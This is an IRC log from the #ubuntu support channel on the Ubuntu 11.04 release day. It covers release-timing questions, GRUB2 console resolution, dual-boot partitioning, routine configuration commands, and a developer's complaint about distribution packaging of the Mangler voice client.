[07:42] <econnell> was in repos on arch and gentoo within weks
[07:42] <econnell> *weeks
[07:42] <maco> econnell: https://wiki.ubuntu.com/PostReleaseApps/Process
[07:42] <histo> econnell: i bet it was in aur in arch not official repos first
[07:42] <histo> econnell: or testing
[07:42] <econnell> histo: yes... i understand that it's not as fast... but seriously... a year?  seriously?
[07:43] <econnell> it is in aur
[07:43] <maco> econnell: this process is 6 months old. i have no idea how you purport to have done it a year before it existed
[07:43] <econnell> and there is a maintainer
[07:43] <histo> econnell: I don't know what you want. Distros that just accept any code without it being vetted or requested that would work out well.
[07:43] <econnell> when i released 1.2.2 two days ago, aur was updated within 3 hours
[07:43] <histo> econnell: aur is a user repo like ppa's
[07:43] <histo> econnell: your app is in ppa so I don't understand the issue
[07:44] <andrew_46> econnell: Slackware has a slightly older version: http://slackbuilds.org/repository/13.37/network/mangler/
[07:44] <econnell> sure... but it's available without my having to do anything... now i've stopped making debs... it'll be someone elses problem... gentoo on the other hand is official
[07:44] <nsmnmj> how to solve dependency conflict when two packages need a different version of some other package?	
[07:44] <histo> econnell: I agree with your stance.
[07:45] <econnell> histo: no... i've deleted my ppa because i don't want to maintain it and since i've provided debs, no one else has really cared
[07:45] <econnell> now that i'm not providing those, you're going to get complaints
[07:45] <qin> nsmnmj: Are you installing via dpkg or apt ?
[07:45] <nsmnmj> dpkg
[07:45] <histo> econnell: then maybe nobody wants the app?
[07:45] <qin> nsmnmj: What package?
[07:45] <histo> econnell: it's a user based distro
[07:45] <econnell> histo: yeah... that's what it is...
[07:46] <histo> econnell: community based distro
[07:46] <nsmnmj> gtk
[07:46] <econnell> ubuntu users are the majority of our userbase
[07:46] <histo> econnell: then one of them will make a ppa and produce a deb i'm sure.
[07:46] <maco> econnell: if you dont want to maintain it, did you at least file a needs-packaging bug in ubuntu or (better) a work-needing bug in debian?
[07:46] <econnell> are you serious?  do you even know what this app is and why ubuntu would be the primary userbase?
[07:46] <histo> econnell: ventrillo client or something right?
[07:46] <econnell> maco: there's been a needs packaging bug for over a year
[07:46] <qin> nsmnmj: Did you downmoad gtk?
[07:46] <maco> econnell: i for one have not the slightest idea what app you are talking about
[07:47] <nsmnmj> yes
[07:47] <nsmnmj> from gtk.org
[07:47] <wieldy_BIOS> when new Ubuntu version will released?
[07:47] <nsmnmj> all packages
[07:47] <maco> (i also probably dont care if im getting on fine without it)
[07:47] <histo> !part > wieldy_BIOS
[07:47] <bhavesh> wieldy_NIOS: today
[07:47] <Callum__> !part > Callum__
[07:47] <histo> !party > wieldy_BIOS
[07:47] <ubottu> wieldy_BIOS, please see my private message
[07:47] <Callum__> heh
[07:47] <litropy__> !party
[07:47] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[07:47] <econnell> hell... look at our forums... we get messages like this constantly: I am giving Ubuntu 10.10 a test run on my main gaming rig (loving it so far ^.^) and i recently found Mangler which solved my biggest issue of not having a native ventrilo client for linux. I was astonished when i found out that there is a built-in applet for my Logitech G15 keyboard!
[07:48] <Callum__> I was just about to ask his question, heh, oh well
[07:48] <wieldy_BIOS> ok-ok
[07:48] <histo> econnell: I understand your complaint but that's how ever distro works
[07:48] <maco> econnell: but really the bit about "they'll take on their own responsibility" ... the majority of ubuntu devs are volunteers taking care of the packages they care about and ignoring others. the ones being forced to take care of certain packages for their job are in the minority and since your software isnt part of the default install, they won't be forced to touch it at all
[07:48] <econnell> i dont' care how the distro works
[07:49] <histo> econnell: okay
[07:49] <econnell> maco: wtf... seriously?  do you want to take a second to amend that comment before i respond?
[07:49] <histo> econnell: we're just trying to explain
[07:49] <sobersabre> hi. I am on 10.10
[07:49] <histo> !hi | sobersabre
[07:49] <maco> econnell: not particularly. nobody except the canonical employees are REQUIRED to do anythng for ubuntu
[07:50] <econnell> do you think i make any money from this?  do you think i have some personal gain to make?
[07:50] <maco> econnell: fame?
[07:50] <maco> econnell: dunno
[07:50] <histo> econnell: you and every other linux dev
[07:50] <sobersabre> I want to change default resolution of the console. tried messing with grub2, but it has no effect. I think I need to do something related to fb, but I don't know how with grub2.
[07:50] <sobersabre> I added gfxpayload=1024x768x16
[07:50] <DirtyDawg> is the new 11.04 due out today? i just checked the website and its still 10.10?
[07:50] <maco> econnell: im just saying, nobody in particular has any responsibility to anyone else when it comes to what they package, unless its their *job*. its volunteer work. people can CHOOSE to take it or live it
[07:50] <histo> sobersabre: add a vga mode to
[07:50] <maco> DirtyDawg: some time later today
[07:50] <econnell> i've got projects way more important than this retarded project...  my fame for this crap will never be important
[07:50] <DirtyDawg> ahh thx
[07:51] <sobersabre> histo: ok. trying... will be back.
[07:51] <maco> econnell: please don't use offensive language
[07:51] <sobersabre> vbeinfo is supposed to print out the vga modes list ?
[07:51] <sobersabre> histo: the above line was for you :)
[07:51] <econnell> sorry
[07:51] <histo> econnell: then perhaps the project needs to be picked up by someone else. That's how linux works I don't know what you want.
[07:51] <histo> sobersabre: here let me get you link you need something like vga=771
[07:51] <x3464> crap is considered offensive language?
[07:51] <maco> econnell: by the way, ive scrolled back pretty far in the backlog to as far back as i can see you first talking, and i dont actually see you ever saying what software it is you want someone to package, so i guess i wont be picking it up as my next upload
[07:52] <econnell> i just want someone to package it so i don't have to spend an entire weekend building packages for debian based systems... that's all
[07:52] <qin> nsmnmj: Gtk.org do not load, but it is not easy (or sane) to override version.
[07:52] <histo> econnell: I would put a message on your forums asking for such
[07:52] <sobersabre> histo: I ran vbeinfo in grub shell.
[07:52] <sobersabre> there was no "771" in it
[07:53] <maco> histo, econnell: and for that matter, just ask that it be packaged for *debian* -- no reason to package for debian and ubuntu separately. if its in debian, it'll be sync'd to ubuntu automatically
[07:53] <sobersabre> I wrote down and it looks like 0x117 (which would translate into 279)
[07:53] <maco> whatever "it" is (i still don't know)
[07:53] <qin> sobersabre: That means you cannot use 771
[07:53] <sobersabre> qin: so can I use the hex. codes from vbeinfo output ?
[07:53] <maco> x3464: it was comparison to the mentally disabled that was offensive
[07:53] <histo> sobersabre: sorry just saw you are using grub2 read post#17 here http://ubuntuforums.org/showthread.php?p=8024427
[07:54] <sobersabre> histo: thanks, there.
[07:54] <bhavesh> while I boot my ubuntu 10.10 I get a *underscore* blinking for about 4 seconds, is there any way to replace it by ubuntu boot screen?
[07:55] <x3464> maco:  how about redonkulous then.
[07:56] <histo> x3464: there were other words used
[07:56] <histo> x3464: scrollback
[07:58] <qin> sobersabre: ok, either: setupcon, or use this (very good) how to: http://idyllictux.wordpress.com/2010/04/26/lucidubuntu-10-04-high-resolution-plymouth-virtual-terminal-for-atinvidia-cards-with-proprietaryrestricted-driver/ (it is about old problem, but usable).
[08:00] <econnell> histo: ya know... a good portion of my users are blind... and they use an ubuntu deriviative called vinux, which is a derivative of ubuntu for blind users.   We have worked with them extensively within our app to make sure they had accessibility.  All the while, we were able to maintain casual conversation and even *heaven forbid* make jokes about blindness...  do you really take yourself that serious?
[08:01] <histo> econnell: nope just don't understand what you want? or what your question is? perhaps there is a miss comunication
[08:01] <maco> econnell: i still dont know what your software is, but i will say "thank you for actually bothering with accessibility, unlike just about everyone else"
[08:01] <histo> econnell: I'm just trying to help and explain why it is the way it is.
[08:02] <histo> maco: a ventrillo client. It's a voice chatting app.
[08:02] <maco> econnell: i learned a few weeks ago that 10.10 wasnt installable at all if you're blind and 11.04 is only slightly installable
[08:04] <tuckaway> hi everyone... can anyone suggest a walkthrough or guide to help take necessary steps to secure my ubuntu install.  Just want to make sure I am making my install the most secure I can make it..
[08:04] <kernel> join #c
[08:04] <econnell> maco: histo: incidentlally... vinux includes mangler by default.... because it's useful
[08:04] <maco> econnell: is that the name of the software?
[08:04] <histo> tuckaway: is it just a default install?
[08:04] <histo> maco: mangler
[08:04] <econnell> vinux is the name of the OS
[08:04] <econnell> http://vinuxproject.org/
[08:05] <gr1ncheux> hi there
[08:05] <haxar> hallo
[08:05] <maco> econnell: yeah i know about vinux. ubuntu-accessibility team works with them. im asking "is mangler the name of the software you've been ranting about for the last half hour without naming it?"
[08:05] <smw> tuckaway, is it just a simple desktop install? There is little to secure.
[08:05] <tuckaway> Histo -> yes just the default install.. i have been running ubuntu for about 18 months now and i need to learn how to secure my desktop
[08:05] <histo> tuckaway: secure it from?
[08:06] <mysteriousdarren> lock it down!
[08:06] <econnell> maco: i've name it, linked it, linked revu posts, linked debian bugs...  fine... here: http://www.mangler.org/
[08:06] <smw> tuckaway, what do you mean "secure". What types of attacks are you afraid of?
[08:06] <maco> econnell: thanks. like i said earlier, i scrolled back as far as i saw you talking, and the earliest i see is you telling qin that you deleted....something.. and then just usng "it" to refer to the software so...
[08:07] <tuckaway> just want to make sure i am not leaving anything open on the machine by default.... file sharing, ssh, things of that nature...
[08:07] <smw> tuckaway, what would you do to "secure" windows? What types of attacks do you fear?
[08:07] <gr1ncheux> i installed an ubuntu server 10.04 a few days ago and i'm stocked with an pci express ethernet card with realtek chipset r8168 somebody could help me ?
[08:07] <histo> tuckaway: well if you don't enable them then no.
[08:07] <econnell> maco: i'm frustrated by debian/ubuntu... i shouldn't take it out on you
[08:07] <smw> tuckaway, those are not run by default
[08:07] <smw> tuckaway, I don't even think those are installed by default
[08:07] <llutz_> tuckaway: just normal things to do: don't install stuff you don't need, don't run stuff you needn't, check running services if they are configured as restrictive as possible and "use /dev/brain"
[08:08] <maco> econnell: well i am an ubuntu dev, but in general we prefer *not* to add new packages just to ubuntu, rather they go through debian so A) more users get it and B) more hands to help
[08:08] <proq> llutz_: most people set up /dev/brain > /dev/null
[08:08] <Gloopie>  graph
[08:08] <llutz_> proq: common mistake :(
[08:08] <smw> tuckaway, if you were making a kiosk or something where you are afraid of people with physical access, there is alot to do.
[08:09] <tuckaway> alright maybe i am looking to much into this...
[08:09] <tuckaway> just 2 years into linux and learning
[08:10] <smw> tuckaway, yes, probably. For public computers, it is way to easy to gain root if you have physical access.
[08:10] <Popopo> hello
[08:10] <haxar> hallo
[08:10] <Popopo> :)
[08:10] <lwizardl> so what time will the official release happen today ?
[08:10] <smw> tuckaway, so a school, internet kiosk, etc, would need some work.
[08:10] <tsimpson> lwizardl: there is no set time
[08:10] <tuckaway>  thanks smw
[08:10] <Popopo> well... I am sorry for this question... but I read a lot of FAQs and... I couldn't solve my instalation's problem
[08:10] <theGreatDane> any1 know what xinetd is?
[08:10] <theGreatDane> its a process running on my box\
[08:11] <smw> lwizardl, "Ubuntu 11.04 release is scheduled somewhere in the time period when it's April 28th somewhere in the world, not at a specific time"
[08:11] <Popopo> may I ask for some help about how to install ubunto for netbook?
[08:11] <smw> rww, can I have that as a bot cmd?
[08:11] <smw> that would be sweet :-)
[08:11] <Morten_> theGreatDane: http://en.wikipedia.org/wiki/Xinetd
[08:11] <lwizardl> where is conicals "home country" ?
[08:11] <maco> lapion: Isle of Man
[08:11] <maco> lapion: bah not you
[08:11] <tsimpson> smw: and now you know why we restrict editing factoids :)
[08:11] <maco> lwizardl: Isle of Man
[08:12] <maco> lwizardl: though their office is in london
[08:12] <lwizardl> ok
[08:12] <smw> tsimpson, yep. Still you have got to admit that would be a nice factoid :-P
[08:12] <theGreatDane> ty
[08:12] <Morten_> :)
[08:12] <tsimpson> smw: for one day, not really...
[08:12] <x3464> Tax Haven what?
[08:13] <smw> tsimpson, fine, I will keep it in my clipboard
[08:13] <tsimpson> smw: most clients will let you set command aliases, set one to send that message
[08:14] <Popopo> ??? nobody to help?
[08:14] <maco> Popopo: you havent asked a question
[08:14] <WaltherFI> Popopo: what's your problem?
[08:14] <llutz_> !details | Popopo
[08:14] <ubottu> Popopo: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[08:14] <maco> Popopo: or at least not a question beyond "can i ask a question?" level
[08:14] <Popopo> you are right maco... but I explained it
[08:14] <Popopo> my problem
[08:14] <Popopo> is...
[08:14] <Popopo> I am installing ubunto in my netbook
[08:14] <Popopo> where already I have installed W7
[08:15] <Popopo> and it has 4 partitions already...
[08:15] <Popopo> I have no options in ubunto to installing with win7
[08:15] <WaltherFI> That's something W7 does, recovery partitions etc
[08:15] <Popopo> only erase all the disk
[08:15] <Popopo> or manually
[08:15] <Popopo> yes
[08:15] <Popopo> I know Walther
[08:15] <Popopo> but my question... Have I another option?
[08:16] <Popopo> I mean... I don't want to delete my partitions because my job
[08:16] <bhavesh> would it be safe if  I remove quiet and splash from GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nomodeset video=uvesafb:mode_option=1280x1024-24,mtrr=3,scroll=ywrap"
[08:16] <maco> Popopo: i think you need to use manual since once there are 4 primary partitions, you cant fit any more at all. you need to get rid of a primary and put in an extended, then you can put lots in the extended one
[08:16] <maco> Popopo: possibly one of these is already extended, even
[08:16] <bhavesh> I want Ubuntu boot menu instead of the blinking *underscore*
[08:16] <Popopo> got it maco... it is not a bad idea
[08:17] <maco> Popopo: but the 4-primary-max is just plain a hard drive thing, not an ubuntu thing
[08:17] <Popopo> ... I think more than one is extended... but isntalations system don't allow me to install it
[08:18] <Popopo> maco... in anycase... if I put one as extended... if do I format the primary upper this extended... the extended will be formated too?
[08:19] <WaltherFI> Official release out yet?
[08:19] <silvery> Hi, does anyone here have information about where I can get release version of 11.04?
[08:20] <msb___> Will 11.04 beta2 be upgradable to the official release?
[08:20] <DirtyDawg> its due out later today
[08:20] <tsimpson> msb___: yes
[08:20] <DJones> Yes
[08:20] <msb___> thanks
[08:20] <WaltherFI> of course it is upgradeable, but i'd still recommend a clean install
[08:20] <quick_nick> silvery: not out yet, release manager will announce at some time today
[08:21] <WaltherFI> i've been through so much trouble after failed upgrades
[08:21] <TerryBook> anyone have an estimate of what time it'll be out?
[08:21] <silvery> can't wait)))
[08:21] <silvery> quick_nick : thank you
[08:21] <PAAAA> UBUNTU COMES TODAY !°!!
[08:21] <DirtyDawg> i,m waiting to download it, have to say tho, i am not sure about Unity yet, looks weird
[08:21] <msb___> yeah, considering a clean install...
[08:22] <WaltherFI> but guys
[08:22] <WaltherFI> !ot
[08:22] <Popopo> ...
[08:23] <pdg1> hello
[08:23] <Popopo> I can't consider a clear install... too much information very important... and moreover... I need to work with win7 because university and job
[08:23] <WaltherFI> Popopo: go with the manual partitioning, merge some partitions and make space for ubuntu
[08:24] <pdg1> i have a dumb question about mounting a file system. I've mounted this drive many times before but i just installed ubuntu server and i can't remember the file system type nor how to properly edit fstab. any help pointing me to a howto/tutorial?
[08:24] <DirtyDawg> i just made a 100GB partition in preperation for the new release, i think i may wubi it first tho just to check it out
[08:25] <vibhav> where to put auto commands in Xchat?
[08:25] <smw> vibhav, it is under the server configuration
[08:25] <Popopo> ok WaltherFi... got it... but it doesn't work. I tried already and doesn't work because I have already 4 primary partitions
[08:25] <vibhav> where smw?
[08:26] <ScottONanski1> When does 11.04 go live?
[08:26] <llutz_> pdg1: "sudo blkid" gives you the filesystem-type, man mount / man fstab should help to get a working fstab-line
[08:26] <smw> vibhav, server -> network list -> choose a server -> edit
[08:26] <DirtyDawg> on a side note, i wonder why wubi only allows a 30gb max size during setup
[08:26] <smw> vibhav, it is the "connect command"
[08:26] <ScottONanski1> When does Ubuntu 11.04 go live?
[08:26] <vibhav> Thanks!
[08:27] <WaltherFI> DirtyDawg: wubi is not recommended
[08:27] <tsimpson> ScottONanski1: there is no set time
[08:27] <DirtyDawg> ScottONanski1: today
[08:27] <Popopo> well... maybe next question is easier... for community... I have ubunto in a usb-key. Now I am running it in my netbook. I have internet connection... and I am trying to install aircrack-ng suite there... but I can't not... it say "dependency is no satisfiable:iw" What is happening?
[08:27] <agare> hej
[08:27] <vibhav> Hi everyone!
[08:27] <WaltherFI> Popopo: aircrack-ng is not officially supported
[08:28] <WaltherFI> Popopo: for that, ask some other channel
[08:28] <pdg1> oh geez... i know what i'm doing wrong :p i forgot the 1 in sdc1
[08:28] <pdg1> thanks llutz
[08:28] <Popopo> mmm got it
[08:28] <Popopo> ok ok...
[08:28] <DirtyDawg> WaltherFI: well i have 10.10 proper install on the desktop, putting the new release on my lappy
[08:28] <Popopo> I will try install ubunto by your advices...
[08:29] <WaltherFI> DirtyDawg: wubi often breaks after some use, it is not intended for long-term usage
[08:29] <Popopo> there is another release? yesterday I downloaded the last one... it was not 10.10?
[08:29] <DirtyDawg> ahh
[08:29] <tsimpson> Popopo: 11.04 releases today
[08:29] <WaltherFI> i totally advice for installing alongside
[08:31] <agare> hi
[08:31] <agare> im a nice guy
[08:31] <DirtyDawg> congratulations
[08:32] <agare> thanks
[08:32] <WaltherFI> !offtopic
[08:32] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[08:32] <Popopo> uuuh today... for netbook version too? I will check it right now... maybe I have a solution there....
[08:32] <sobersabre> histo: I've tried your link, and implemented.
[08:33] <Popopo> thank you for all the answers .ç:) I will try to continue from this point.
[08:33] <Popopo> have a nice day!!! :)
[08:33] <sobersabre> As of now during the boot - GRUB2 does set the graphic mode correctly. BUT after that somehow the setup changes to something I don't want.
[08:34] <soreau> sobersabre: Try sys>prefs>monitors
[08:35] <silvery> Please advice on how do I change Unity to Gnome and would Desktop version of 11.04 have Unity as default desktop environment too?
[08:35] <Soothsayer> launch party channel name ?
[08:35] <soreau> Soothsayer: #ubuntu-release-party
[08:35] <Soothsayer> silvery: yes it would, but I read the switch is easy.. you just pick gnome during the login screen.
[08:35] <Soothsayer> thanks
[08:36] <soreau> silvery: Also, natty is still not supported here until after the official release
[08:36] <silvery> Soothsayer : oh, thanks
[08:36] <vibhav> Can anybody help me in streaming on my network which has 2 ubuntu boxes?
[08:36] <silvery> soreau : until today, then
[08:36] <DirtyDawg> what do the guys in #ubuntu+1 do when the new release is live? just idle and stay silent for a couple of months?
[08:36] <Soothsayer> soreau: professor, isn't that a few hours away? :-P
[08:37] <soreau> Soothsayer: yes
[08:38] <soreau> silvery: Until -later- today
[08:38] <vibhav> Can anybody help me in streaming on my network which has 2 ubuntu boxes?
[08:38] <smw> DirtyDawg, then they can stop splitting their attention and just help in #ubuntu
[08:38] <DirtyDawg> ahh
[08:38] <sobersabre> soreau: sorry to be rude.   do you know what I am talking about ?
[08:38] <smw> vibhav, stream what?
[08:38] <vibhav> stream media like videos
[08:38] <soreau> sobersabre: What graphics card do you have?
[08:39] <sobersabre> soreau: are you a bot ?
[08:39] <vibhav> smw : stream media like videos
[08:39] <silvery> soreau : thanks for your explanation
[08:40] <sobersabre> soreau: I'm trying to reconfigure console resolution.
[08:40] <josephoenix> Hello all
[08:40] <soreau> sobersabre: What graphics card do you have?
[08:40] <sobersabre> soreau: intel
[08:40] <smw> sobersabre, as in when it is not running in the gui?
[08:40] <vibhav> hey smw i want to stream Videos
[08:41] <sobersabre> smw: aye.
[08:41] <soreau> sobersabre: Have you tried the applet in system>preferences>Monitors?
[08:41] <josephoenix> I've been given a VPS with almost no information about it and told "migrate to this." As a first step, I did 'apt-get update && apt-get upgrade' and it tried to install grub. I told it not to. What are the chances that I screwed things up?
[08:41] <smw> sobersabre, that needs to be fixed in grub
[08:41] <vibhav> hey smw i want to stream Videos
[08:41] <smw> sobersabre, add the option vga=??? where ??? is a 3 digit number representing your display
[08:41] <sobersabre> smw: I have yet to change vga=xxx, which I will try now.
[08:41] <smw> vibhav, I know littel about that
[08:41] <vibhav> smw thats fine
[08:41] <vibhav> smw never mind
[08:42] <smw> sobersabre, that is the only way I know how and I have done it many times
[08:42] <sobersabre> I tried gfxmode, gfxpayload but it apparently changed only what was happening in grub menu.
[08:42] <sobersabre> OK. trying now.
[08:42] <sobersabre> thanks.
[08:42] <horse_play> how many hours till i can download natty?
[08:42] <vibhav> <sobersabre> what are you trying to do?
[08:42] <soreau> smw: I don't think vga=xxx is supported with kms
[08:42] <K_45> horse_play - by tomorrow
[08:42] <smw> horse_play, "Ubuntu 11.04 release is scheduled somewhere in the time period when it's April 28th somewhere in the world, not at a specific time."
[08:42] <dArKd3ViL> #ubuntu-release-party
[08:42] <sobersabre> vibhav: to get to a resolution I want in the console.
[08:42] <horse_play> K_45, but its the 28th already?
[08:43] <soreau> smw: You use video=1280x1024@60
[08:43] <vibhav> <sobersabr> Ohh , thats easy
[08:43] <smw> soreau, um, it has always worked for me...
[08:43] <sobersabre> smw: are you on grub2 ?
[08:43] <soreau> smw: worksforme doesn't hold much weight
[08:43] <smw> horse_play, read my quote
[08:43] <K_45> horse_play - timezone differences and the serves need to be updated
[08:43] <vibhav> <sobersabr> Install Startup Manager from UBuntu Software Center
[08:43] <vibhav> <sobersabre> Install Startup Manager from UBuntu Software Center
[08:44] <EbanSoul> Is Unity still going to be the default for 11.04 or have they moved to KDE ?
[08:44] <smw> sobersabre, yes
[08:44] <sobersabre> soreau: preferences->monitors doesn't hold in console :)
[08:44] <proq> what is unity?
[08:44] <vibhav> <EbanSoul> no they are using Unity
[08:44] <soreau> sobersabre: Right, I misunderstood you in the first place
[08:44] <sobersabre> proq: in what context.
[08:44] <horse_play> smw, K_45 ok thanks
[08:44] <smw> soreau, yours looked better anyways
[08:44] <smw> soreau, much better than a random 3 digit number
[08:44] <proq> sobersabre: you don't see the context?
[08:44] <soreau> sobersabre: Basically what you're seeing is when the intel module is loaded with kms
[08:45] <proq> sobersabre: <EbanSoul> Is Unity still going to be the default for 11.04 or have they moved to KDE?
[08:45] <smw> proq, lmao
[08:45] <vibhav> proq : Unity is a shell interface for the GNOME desktop environment developed by Canonical Ltd for its Ubuntu operating system
[08:45] <DirtyDawg> i heard that X is to be replaced by Wayland, is that right?
[08:45] <soreau> sobersabre: For example you would use something like this as a kernel param: video=VGA-1:800x600
[08:45] <K_45> @ DirtyDawg, eventually
[08:45] <DirtyDawg> :o
[08:45] <proq> vibhav: a shell interface - do you mean a terminal emulator?
[08:45] <smw> DirtyDawg, one day. X must die
[08:46] <DirtyDawg> :(
[08:46] <soreau> sobersabre: But the name VGA-1 may be different
[08:46] <sobersabre> proq: unity is a new (I'm not sure which:) desktop or windows manager.
[08:46] <vibhav> <sobersabre> You can use Startup Manger to Change your resolution?
[08:46] <K_45> @ smv - legacy needs to go
[08:46] <vibhav> proq : its not a terminal emulator
[08:46] <sobersabre> soreau: I don't know where does VGA-1 come from.
[08:46] <vibhav> <sobersabre> I know an easier method to do that
[08:47] <sobersabre> vibhav: to do what ?
[08:47] <vibhav> <sobersabre> To change the resolution
[08:47] <sobersabre> and what do you mean "easier" it is easy anyway: edit a text file, and run update-grub.
[08:47] <vibhav> <sobersabre> there is a progrma for that too
[08:47] <sobersabre> vibhav: to change reso of console ?
[08:47] <soreau> sobersabre: I'm trying to find it now..
[08:47] <sobersabre> soreau: hint would be nice :)
[08:48] <vibhav> <sobersabre> there is a progrmam for that too (to change resolution of grub)
[08:48] <sobersabre> I like your eagerness to help. initially I thought you're not listening.
[08:48] <sobersabre> my bad.
[08:48] <josephoenix> Should a VPS install grup? I did apt-get upgrade and it tried to install grub
[08:48] <sobersabre> vibhav: not resolution of GRUB
[08:48] <josephoenix> I didn't think grub was installed before.
[08:48] <sobersabre> of console.
[08:48] <josephoenix> *grub
[08:48] <sobersabre> vibhav: ok ?
[08:48] <vibhav> <sobersabre>  Ok
[08:48] <llutz_> josephoenix: usually no need for a boot-manager on a vps
[08:49] <sobersabre> vibhav: what irc client are you using? (I know I can /whois you, I prefer asking)
[08:50] <vibhav> <sobersabre> I use Xchat
[08:50] <Zavior> has anyone seen this before? "(initramfs) Can not mount /dev/loop0 (/cdrom/casper/filesystem.squashfs) on //filesystem.squashfs"
[08:50] <vibhav> <sobersabre> refer to http://superuser.com/questions/66428/how-can-i-change-console-shells-resolution-in-ubuntu-9-10
[08:51] <sobersabre> vibhav: what irc client are you using? (I know I can /whois you, I prefer asking)
[08:51] <sobersabre> hell, I got lagged over ssh.
[08:51] <vibhav> <sobersabre> I use Xchat as my IRC Client
[08:51] <crackguy> how can i reinstall iscsi-initiator-utils package on Citrix XenServer 5.6?
[08:51] <K_45> Zaviour - http://ubuntuforums.org/showthread.php?t=1588547
[08:51] <vibhav> <sobersabre> Why do you ask?
[08:51] <iceroot> crackguy: ask citrix
[08:51] <phoque_uni> so... once 11.04 is out... how do I change back to Gnome 2? ;-)
[08:52] <sobersabre> vibhav: b/c all the people append NICK:, and yours appends <NICK>
[08:52] <K_45> @ phoque_uni - Switch to Debian
[08:52] <DirtyDawg>  i am thinking of using the new Gnome 3
[08:52] <sobersabre> my client colors lines with  NICK:
[08:52] <phoque_uni> K_45, hah
[08:52] <vibhav> <phoque_uni> in the login session chose Ubuntu Classic Session
[08:52] <sobersabre> so I know when somebody is writing to me. on the chan
[08:52] <K_45> @ phoque_uni - nothing like a stable netinst
[08:52] <GReeNtooTH> Could anyone please tell me how to open a port in ubuntu?
[08:52] <llutz_> phoque_uni: learn to use the session-menu from gdm
[08:52] <vibhav> <sobersabre> ok
[08:52] <phoque_uni> vibhav, ah cool... so they thought of that. thanks
[08:52] <phoque_uni> :-)
[08:53] <vibhav> <phoque_uni> You are welcome
[08:53] <iceroot> GReeNtooTH: just start the program, it will open the port automaticly
[08:53] <sobersabre> vibhav: capisci ?
[08:53] <vibhav> <GReeNtooTH> sudo iptables -A INPUT -p tcp --dport (port number) -j ACCEPT
[08:54] <GReeNtooTH> thanx iceroot
[08:54] <elex> hi
[08:54] <GReeNtooTH> and vibhav
[08:54] <vibhav> <sobersabre> what do you mean by "capisci"
[08:54] <DirtyDawg> it means "understand" i think
[08:54] <vibhav> <sobersabre> what do you mean by "capisci"
[08:55] <proq> phoque_uni: you would apt-get install it I suppose
[08:55] <proq> phoque_uni: just a wild guess
[08:55] <damno> i cant set eth1 as default for ntop
[08:57] <damiano> hello
[08:57] <damno> damiano: hi
[08:57] <damiano> hi damno
[08:57] <damiano> i have a strange problem...
[08:57] <EbanSoul> #ubuntu-us-ky
[08:57] <damno> damiano: tell
[08:58] <damiano> i'm tring to stop php-fpm with /etc/init.d/php5-fpm stop
[08:58] <Barbarabush> [09:57] <ubottu> Sorry, I don't know anything about wank
[08:58] <damiano> but i always see the processes doing ps aux
[08:58] <damiano> could someone help me?
[08:59] <soreau> sobersabre: I cant seem to find it right now but you have to cat something in /proc IIRC..
[09:00] <kichawa> how about new ubuntu release ?
[09:01] <jiltdil> i by mistake removed my menu pannel , how to get it back
[09:01] <starlatch> Anyone know if we can upgrade from 10.04 to 11.04?
[09:02] <kichawa> starlatch: you can do that
[09:03] <starlatch> kichawa: Thanks. I am assuming it does not involve going through 10.10 first.
[09:03] <getex> hi
[09:03] <getex> anybody from argentina
[09:03] <getex> ?
[09:03] <DirtyDawg> jiltdil: have you tried to right click and add it back
[09:04] <DirtyDawg> "add to panel"
[09:04] <DirtyDawg> menu / main menu
[09:04] <jiltdil> DirtyDawg:right clicking is not giving option for it
[09:04] <RKyle> is it possible to change the owner of a file in /var/www/ for non-admin users to access? I tried sudo chown username -R path but that didn't work
[09:07] <phoque_uni> RKyle, what file, what user and what did that command yield?
[09:07] <jiltdil> DirtyDawg:hi this worked firdtly i think it will not going to work but it worked gconftool --recursive-unset /apps/panel && killall gnome-panel
[09:08] <RKyle> phoque_uni, I had a directory in /var/www/ I was trying to give access to a non-admin user and the command displayed nothing like it worked
[09:09] <herc_> hi
[09:09] <herc_> when is the ubuntu 11.04 becomeing available for download?
[09:09] <llutz_> herc_: when its done
[09:10] <guest345345> gimme gimme gimme
[09:10]  * ugisozols gives
[09:10] <herc_> llutz_: wasn't it suposed do be done today?
[09:11] <llutz_> herc_: yes, "today" still lasts a few hours
[09:11] <guest345345> Yeah...there are still 15 hours left "today"
[09:11] <Zavior> this error is kicking my butt, cannot install ubuntu :(
[09:11] <herc_> do you know when will it be done?
[09:11] <DarkEra> it will be released somewhere today, be patient
[09:11] <celthunder> Zavior: what's the error
[09:11] <amphibgiraffe> Depends on your timezone.
[09:11] <Zavior> celthunder: (initramfs) Can not mount /dev/loop0 (/cdrom/casper/filesystem.squashfs) on //filesystem.squashfs"
[09:11] <herc_> CET
[09:11] <guest345345> Last release was quite early in the day
[09:12] <guest345345> if your close to UTC that is
[09:12] <ManDay> lol
[09:12] <ManDay> my cristal ball told me what to expect in #ubuntu
[09:12] <ManDay> it seems it was right
[09:13] <guest345345> You don't need a crystal ball to expect abounding inpatience
[09:13] <herc_> when can I expect it?
[09:13] <celthunder> herc_: within the next 23 hours
[09:13] <llutz_> ManDay: same thing twice a year
[09:13] <herc_> celthunder: thank you very much
[09:13] <vadviktor> :) so true :)
[09:13] <herc_> (:
[09:13] <ManDay> llutz_: wanan make a bet how long the server holds out?
[09:13] <guest345345> probably more like within the next 10 hours to be honest
[09:13] <Alexan> Hi all
[09:13] <herc_> about 15 minutes
[09:14] <guest345345> probably less
[09:14] <ManDay> 5 minutes
[09:14] <ManDay> thats the time it takes for the word to spread
[09:14] <vadviktor> I'm a bit impatient too, because tonight I have to install a Ubuntu on a friend's netbook to replace 9.10 and I really hope it will be 11.04 :)
[09:15] <DamienCassou> vadviktor: I would install latest daily if I were you
[09:15] <amphibgiraffe> vadviktor: I'm using the beta, seems to work fine
[09:16] <DamienCassou> vadviktor: because latest daily is probably very close (or even similar) to the next release
[09:16] <ManDay> DamienCassou: latest daily, thats new to me, too - what is that?
[09:16] <DamienCassou> ManDay: http://cdimage.ubuntu.com/daily/current/?C=N;O=A
[09:16] <guest345345> just the daily build on CD
[09:16] <vadviktor> it'll be that one and upgraded as needed if the images won't come out untill then :)
[09:16] <mick_laptop> anyone know how to tell casper to start an app on start?
[09:16] <ManDay> from vcs ?
